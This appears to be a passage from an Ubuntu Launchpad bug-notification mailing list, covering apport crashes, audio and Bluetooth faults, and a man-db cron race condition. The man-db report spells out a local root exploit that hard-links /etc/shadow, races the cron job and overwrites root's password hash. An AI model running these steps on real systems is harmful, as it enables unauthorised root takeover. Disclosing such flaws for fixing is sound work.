  After each and every run, ubuntu-bug dumps the core.
  ubuntu-bug is a symllink to apport-bug.
  /usr/bin/apport-bug is a "POSIX shell script, ASCII text executable"

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: apport 2.20.1-0ubuntu2
  ProcVersionSignature: Ubuntu 4.4.0-21.37-lowlatency 4.4.6
  Uname: Linux 4.4.0-21-lowlatency x86_64
  NonfreeKernelModules: pci_stub vboxpci vboxnetadp vboxnetflt vboxdrv 
xt_multiport iptable_filter ip_tables x_tables 8812au cfg80211 
snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi hp_wmi 
sparse_keymap intel_rapl snd_hda_intel x86_pkg_temp_thermal intel_powerclamp 
coretemp snd_hda_codec kvm_intel kvm snd_hda_core irqbypass crct10dif_pclmul 
snd_hwdep crc32_pclmul usblp input_leds snd_pcm aesni_intel snd_seq_midi 
aes_x86_64 lrw gf128mul glue_helper snd_seq_midi_event ablk_helper cryptd 
snd_rawmidi serio_raw snd_seq snd_seq_device snd_timer snd mei_me soundcore mei 
lpc_ich shpchp mac_hid 8250_fintek parport_pc ppdev lp parport autofs4 xfs 
raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor 
raid6_pq libcrc32c raid1 multipath linear uas usb_storage hid_generic usbhid 
hid raid0 amdkfd amd_iommu_v2 radeon i915 ttm i2c_algo_bit drm_kms_helper 
syscopyarea sysfillrect sysimgblt fb_sys_fops ahci psmouse drm r8169 libahci 
mii wmi fjes video
  ApportVersion: 2.20.1-0ubuntu2
  Architecture: amd64
  CrashReports:
   640:1000:114:1216053:2016-04-22 18:19:14.874778904 +0200:2016-04-22 
18:19:13.982777521 +0200:/var/crash/_usr_bin_kactivitymanagerd.1000.crash
   640:1000:114:10658675:2016-04-25 11:20:02.528969734 +0200:2016-04-25 
11:20:02.529969744 +0200:/var/crash/_usr_share_apport_apport-kde.1000.crash
  CurrentDesktop: KDE
  Date: Mon Apr 25 11:29:51 2016
  InstallationDate: Installed on 2016-04-22 (2 days ago)
  InstallationMedia: Kubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  PackageArchitecture: all
  SourcePackage: apport
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1574539/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1482786] Re: man-db daily cron job TOCTOU bug when processing catman pages

[Benjamin Drung]

The apport lock file permission was addressed in bug #1862348.

** Changed in: apport (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1482786

Title:
  man-db daily cron job TOCTOU bug when processing catman pages

Status in apport package in Ubuntu:
  Fix Released
Status in man-db package in Ubuntu:
  Fix Released
Status in pam package in Ubuntu:
  Confirmed
Status in shadow package in Ubuntu:
  Confirmed

Bug description:
  The daily mandb cleanup job for old catman pages changes the
  permissions of all non-man files to user man. The problematic code is:

  # expunge old catman pages which have not been read in a week
  if [ -d /var/cache/man ]; then
cd /
if ! dpkg-statoverride --list /var/cache/man >/dev/null 2>1; then
  find /var/cache/man -ignore_readdir_race ! -user man -print0 | \
xargs -r0 chown -f man || true
fi
...

  By creating a hard link and winning the race, user man may escalate
  privileges to user root. See [1] for full explanation.

  man# mkdir -p /var/cache/man/etc
  man# ln /var/crash/.lock /var/cache/man/etc/shadow
  man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath 
/var/cache/man/etc --LinkTarget /etc
  ... Wait till daily cronjob was run
  man# cp /etc/shadow .
  man# sed -r -e 
's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:9:7:::/' 
/etc/shadow > x
  man# cat x > /etc/shadow; rm x
  man# su -s /bin/sh (password is 123)
  root# cat shadow > /etc/shadow; chown root /etc/shadow

  
  # lsb_release -rd
  Description:Ubuntu 14.04.3 LTS
  Release:14.04

  # apt-cache policy man-db
  man-db:
Installed: 2.6.7.1-1ubuntu1
Candidate: 2.6.7.1-1ubuntu1
Version table:
   *** 2.6.7.1-1ubuntu1 0
  500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 
Packages
  100 /var/lib/dpkg/status
   2.6.7.1-1 0
  500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages

  [1]
  http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1482786/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1963767] Re: [Purism Librem 13 v4] Microphone not working after suspend

[Daniel van Vugt]

If it happens on all or a large number or systems then people should
share the same bug. Or if they have the same hardware (same laptop or
same sound chips). Otherwise people should each log their own bug
because in most cases problems like this are hardware-specific. So I'm
thinking that's 3 separate bugs here.

I only have access to Ubuntu 22.10 today so can only confirm that the
bug does not happen on 22.10 here. It would be useful to ask more users
of 22.04 to test this so Incomplete...


** Changed in: pulseaudio (Ubuntu)
   Status: Confirmed => Incomplete

** Summary changed:

- [Purism Librem 13 v4] Microphone not working after suspend
+ [jammy] Microphone not working after suspend

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1963767

Title:
  [jammy] Microphone not working after suspend

Status in linux package in Ubuntu:
  Incomplete
Status in pulseaudio package in Ubuntu:
  Incomplete

Bug description:
  I have Logitech BRIO 4k Pro webcam connected via its USB cable to Asus
  Vivobook Pro 16X OLED M7600QE-L2014X (90NB0V71-M02190) laptop.

  On Ubuntu 21.10 after suspend (`systemctl suspend`) webcam's
  microphone stops working (device is still there, but audio level is at
  zero all the time).

  To make it work again I need to do 2 things (just one is not sufficient):
  1) Disconnect and connect webcam again to the laptop
  2) Restart pulseaudio with `pulseaudio --kill; pulseaudio --start`

  Not sure whose fault it is, likely kernel driver, but the fact that 
pulseaudio needs to be restarted is concerning as well. Reproducible 100% for 
me.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu71
  Architecture: amd64
  CasperMD5CheckResult: unknown
  CurrentDesktop: Custom
  DistroRelease: Ubuntu 21.10
  Package: pulseaudio 1:15.0+dfsg1-1ubuntu2.2
  PackageArchitecture: amd64
  Tags:  impish
  Uname: Linux 5.16.11-xanmod1 x86_64
  UnreportableReason: The running kernel is not an Ubuntu kernel
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm audio cdrom dialout dip docker libvirt lpadmin plugdev 
sambashare sudo
  _MarkForUpload: True
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu82.1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  nazar-pc   1488 F pulseaudio
  CasperMD5CheckResult: pass
  CurrentDesktop: ubuntu:GNOME
  DistroRelease: Ubuntu 22.04
  InstallationDate: Installed on 2022-02-15 (153 days ago)
  InstallationMedia: Ubuntu 21.10 "Impish Indri" - Release amd64 (20211012)
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 003: ID 04ca:300d Lite-On Technology Corp. Atheros AR3012 
Bluetooth
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  Lsusb-t:
   /:  Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 5000M
   /:  Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M
   |__ Port 3: Dev 3, If 0, Class=Wireless, Driver=btusb, 12M
   |__ Port 3: Dev 3, If 1, Class=Wireless, Driver=btusb, 12M
  MachineType: Purism Librem 13 v4
  Package: pulseaudio 1:15.99.1+dfsg1-1ubuntu1
  PackageArchitecture: amd64
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=uk_UA.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 i915drmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.15.0-39-generic 
root=/dev/mapper/vgubuntu-root ro quiet splash vt.handoff=7
  ProcVersionSignature: Ubuntu 5.15.0-39.42-generic 5.15.35
  RelatedPackageVersions:
   linux-restricted-modules-5.15.0-39-generic N/A
   linux-backports-modules-5.15.0-39-generic  N/A
   linux-firmware 20220329.git681281e4-0ubuntu3.2
  Tags:  jammy wayland-session wayland-session
  Uname: Linux 5.15.0-39-generic x86_64
  UpgradeStatus: Upgraded to jammy on 2022-06-21 (27 days ago)
  UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/27/2022
  dmi.bios.release: 4.15
  dmi.bios.vendor: coreboot
  dmi.bios.version: 4.15-Purism-3
  dmi.board.name: Librem 13 v4
  dmi.board.vendor: Purism
  dmi.board.version: 1.0
  dmi.chassis.type: 9
  dmi.chassis.vendor: Purism
  dmi.ec.firmware.release: 0.0
  dmi.modalias: 
dmi:bvncoreboot:bvr4.15-Purism-3:bd01/27/2022:br4.15:efr0.0:svnPurism:pnLibrem13v4:pvr1.0:rvnPurism:rnLibrem13v4:rvr1.0:cvnPurism:ct9:cvr:sku:
  dmi.product.family: Librem 13
  dmi.product.name: Librem 13 v4
  dmi.product.version: 1.0
  dmi.sys.vendor: Purism

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1963767/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1574539] Re: ubuntu-bug dumps the core

[Benjamin Drung]

Thank you for taking the time to report this bug and helping to make
Ubuntu better.

The attached logs are not enough to debug your failure. Do you still
experience this kind of crash or can reproduce it? It is probably too
late to ask for attaching /var/crash/_usr_share_apport_apport-
kde.1000.crash.

** Changed in: apport (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1574539

Title:
  ubuntu-bug dumps the core

Status in apport package in Ubuntu:
  Incomplete

Bug description:
  After each and every run, ubuntu-bug dumps the core.
  ubuntu-bug is a symllink to apport-bug.
  /usr/bin/apport-bug is a "POSIX shell script, ASCII text executable"

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: apport 2.20.1-0ubuntu2
  ProcVersionSignature: Ubuntu 4.4.0-21.37-lowlatency 4.4.6
  Uname: Linux 4.4.0-21-lowlatency x86_64
  NonfreeKernelModules: pci_stub vboxpci vboxnetadp vboxnetflt vboxdrv 
xt_multiport iptable_filter ip_tables x_tables 8812au cfg80211 
snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi hp_wmi 
sparse_keymap intel_rapl snd_hda_intel x86_pkg_temp_thermal intel_powerclamp 
coretemp snd_hda_codec kvm_intel kvm snd_hda_core irqbypass crct10dif_pclmul 
snd_hwdep crc32_pclmul usblp input_leds snd_pcm aesni_intel snd_seq_midi 
aes_x86_64 lrw gf128mul glue_helper snd_seq_midi_event ablk_helper cryptd 
snd_rawmidi serio_raw snd_seq snd_seq_device snd_timer snd mei_me soundcore mei 
lpc_ich shpchp mac_hid 8250_fintek parport_pc ppdev lp parport autofs4 xfs 
raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor 
raid6_pq libcrc32c raid1 multipath linear uas usb_storage hid_generic usbhid 
hid raid0 amdkfd amd_iommu_v2 radeon i915 ttm i2c_algo_bit drm_kms_helper 
syscopyarea sysfillrect sysimgblt fb_sys_fops ahci psmouse drm r8169 libahci 
mii wmi fjes video
  ApportVersion: 2.20.1-0ubuntu2
  Architecture: amd64
  CrashReports:
   640:1000:114:1216053:2016-04-22 18:19:14.874778904 +0200:2016-04-22 
18:19:13.982777521 +0200:/var/crash/_usr_bin_kactivitymanagerd.1000.crash
   640:1000:114:10658675:2016-04-25 11:20:02.528969734 +0200:2016-04-25 
11:20:02.529969744 +0200:/var/crash/_usr_share_apport_apport-kde.1000.crash
  CurrentDesktop: KDE
  Date: Mon Apr 25 11:29:51 2016
  InstallationDate: Installed on 2016-04-22 (2 days ago)
  InstallationMedia: Kubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  PackageArchitecture: all
  SourcePackage: apport
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1574539/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1996040] Re: apport-unpack cannot load gitkraken crash report - 'ascii' codec can't decode byte 0xfc in position 56

[Benjamin Drung]

Thank you for taking the time to report this bug and helping to make
Ubuntu better.

apport-unpack is designed for unpackaging .crash files (in /var/crash).
You specified a core file which contains only binary data and is
expected to fail. apport-unpack should print an error message in this
case.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1996040

Title:
  apport-unpack cannot load gitkraken crash report - 'ascii' codec can't
  decode byte 0xfc in position 56

Status in apport package in Ubuntu:
  New

Bug description:
  The latest GitKraken client (8.10.2 x64) is crashed every minute in
  cycle when you doing a rebase. When I try to inspect crash log to find
  the reason, the apport-unpack is not be able to process it:

  /var/lib/apport/coredump$ sudo apport-unpack 
core._snap_gitkraken_199_usr_share_gitkraken_gitkraken.1000.5de91c04-23ab-45c8-933c-0466d56e9fad.135785.50225891
 unpack
  [sudo] пароль для mingun: 
  Traceback (most recent call last):
File "/usr/bin/apport-unpack", line 59, in 
  pr.load(f, binary=False)
File "/usr/lib/python3/dist-packages/problem_report.py", line 194, in load
  key = key.decode('ASCII')
  UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 56: 
ordinal not in range(128)

  Unfortunately, crash file is too big (~9GB) and does not compress
  further

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1996040/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1871794] Re: [Bluetooth] No audio output/input in HSP/HFP mode

[AlberT]

Same issue here.

  - HW:Lenovo ThinkPad X1 Carbon Gen 10
  - HeadSet:  Sennheiser 4.50BTNC
  - OS: Ubuntu 22.04.1 LTS (Jammy Jellyfish)
  - BT fw:   intel/ibt-0040-0041.sfi
  - Kernel:  5.15.0-52-generic #58-Ubuntu SMP

If high quality output is selected no input channel is available. To be
able to use the headphones mic one has to use the mono channel output
...

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1871794

Title:
  [Bluetooth] No audio output/input in HSP/HFP mode

Status in bluez package in Ubuntu:
  Confirmed
Status in pulseaudio package in Ubuntu:
  Fix Released

Bug description:
  I'm testing with Sony bluetooth headset SBH20, works fine in A2DP
  profile, but I can't get audio input and output work in HSP/HFP
  profile.

  [Reproduce steps]
  1. Scan and pair BT headset in Bluetooth setting
  2. Switch to HSP/HFP profile in Sound setting
  3. Test sound output/input

  [Machine information]
  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: pulseaudio 1:13.99.1-1ubuntu1
  ProcVersionSignature: Ubuntu 5.4.0-21.25-generic 5.4.27
  Uname: Linux 5.4.0-21-generic x86_64
  ApportVersion: 2.20.11-0ubuntu25
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  ubuntu 1359 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Thu Apr  9 16:26:52 2020
  InstallationDate: Installed on 2020-04-09 (0 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200402)
  SourcePackage: pulseaudio
  Symptom: audio
  Symptom_Card: SBH20
  Symptom_DevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  ubuntu 1359 F pulseaudio
  Symptom_Type: No sound at all
  Title: [SBH20, recording] No sound at all
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/17/2019
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.0.13
  dmi.board.name: 0188D1
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 31
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.0.13:bd09/17/2019:svnDellInc.:pnXPS1373902-in-1:pvr:rvnDellInc.:rn0188D1:rvrA00:cvnDellInc.:ct31:cvr:
  dmi.product.family: XPS
  dmi.product.name: XPS 13 7390 2-in-1
  dmi.product.sku: 08B0
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1871794/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1996040] [NEW] apport-unpack cannot load gitkraken crash report - 'ascii' codec can't decode byte 0xfc in position 56

[Mingun]

Public bug reported:

The latest GitKraken client (8.10.2 x64) is crashed every minute in
cycle when you doing a rebase. When I try to inspect crash log to find
the reason, the apport-unpack is not be able to process it:

/var/lib/apport/coredump$ sudo apport-unpack 
core._snap_gitkraken_199_usr_share_gitkraken_gitkraken.1000.5de91c04-23ab-45c8-933c-0466d56e9fad.135785.50225891
 unpack
[sudo] пароль для mingun: 
Traceback (most recent call last):
  File "/usr/bin/apport-unpack", line 59, in 
pr.load(f, binary=False)
  File "/usr/lib/python3/dist-packages/problem_report.py", line 194, in load
key = key.decode('ASCII')
UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 56: 
ordinal not in range(128)

Unfortunately, crash file is too big (~9GB) and does not compress
further

** Affects: apport (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1996040

Title:
  apport-unpack cannot load gitkraken crash report - 'ascii' codec can't
  decode byte 0xfc in position 56

Status in apport package in Ubuntu:
  New

Bug description:
  The latest GitKraken client (8.10.2 x64) is crashed every minute in
  cycle when you doing a rebase. When I try to inspect crash log to find
  the reason, the apport-unpack is not be able to process it:

  /var/lib/apport/coredump$ sudo apport-unpack 
core._snap_gitkraken_199_usr_share_gitkraken_gitkraken.1000.5de91c04-23ab-45c8-933c-0466d56e9fad.135785.50225891
 unpack
  [sudo] пароль для mingun: 
  Traceback (most recent call last):
File "/usr/bin/apport-unpack", line 59, in 
  pr.load(f, binary=False)
File "/usr/lib/python3/dist-packages/problem_report.py", line 194, in load
  key = key.decode('ASCII')
  UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 56: 
ordinal not in range(128)

  Unfortunately, crash file is too big (~9GB) and does not compress
  further

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1996040/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1995329] Re: [HP EliteBook 840 G8] [Intel AX201] Devices pair and connect, but immediately (4-5 secs) disconnect

[Petter Sundlöf]

Bluetooth still not working. Would love to debug if possible...

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1995329

Title:
  [HP EliteBook 840 G8] [Intel AX201] Devices pair and connect, but
  immediately (4-5 secs) disconnect

Status in bluez package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Recently upgraded to 22.10 (from I believe 20.04, not actually
  completely sure) and both of my Bluetooth devices have stopped
  working.

  They can pair and connect initially, but disconnect after 4-5 seconds.

  My headphones worked a while, but have not since been able to have
  them stay connected.

  Here's an output from bluetoothctl, which doesn't say much?

  Agent registered
  [CHG] Controller 10:3D:1C:43:3B:C6 Pairable: yes
  [CHG] Device 94:DB:56:4F:20:7F Connected: yes
  [CHG] Controller 10:3D:1C:43:3B:C6 Discovering: yes
  [NEW] Device CB:78:4F:E1:45:7D LE_WH-1000XM4
  [CHG] Device 94:DB:56:4F:20:7F Connected: no
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D TxPower: -21
  [CHG] Device CB:78:4F:E1:45:7D ManufacturerData Key: 0x012d
  [CHG] Device CB:78:4F:E1:45:7D ManufacturerData Value:
04 00 01 31 05 01 74 84 12 86 04 40 d5 00 00 00  ...1..t@
00 00 00 ... 
  [CHG] Device CB:78:4F:E1:45:7D ServiceData Key: 
fe2c--1000-8000-00805f9b34fb
  [CHG] Device CB:78:4F:E1:45:7D ServiceData Value:
00 90 87 04 02 48 e2 09 0e 30 0b 11 7a   .H...0..z   
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -39
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -39
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -39
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -39
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [NEW] Device D9:A2:A2:B7:40:35 P mesh
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device CB:78:4F:E1:45:7D ServiceData Key: 
fe2c--1000-8000-00805f9b34fb
  [CHG] Device CB:78:4F:E1:45:7D ServiceData Value:
00 90 88 b5 06 90 44 00 8d e6 00 11 30   ..D.0   
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -38
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -38
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device 94:DB:56:4F:20:7F Connected: yes
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -38
  [CHG] Device 94:DB:56:4F:20:7F Connected: no
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -38
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -38
  [bluetooth]# 
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device CB:78:4F:E1:45:7D ManufacturerData Key: 0x012d
  [CHG] Device CB:78:4F:E1:45:7D ManufacturerData Value:
04 00 01 31 05 01 74 84 12 86 04 60 d5 00 00 00  ...1..t`
00 00 00 ... 
  [CHG] Device CB:78:4F:E1:45:7D ServiceData Key: 
fe2c--1000-8000-00805f9b34fb
  [CHG] Device CB:78:4F:E1:45:7D ServiceData Value:
00 90 14 08 8e 2b 3a 42 02 89 00 11 74   .+:Bt   
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -38
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -35
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -36
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [DEL] Device D9:A2:A2:B7:40:35 P mesh
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -38
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device CB:78:4F:E1:45:7D RSSI: -37
  [CHG] Device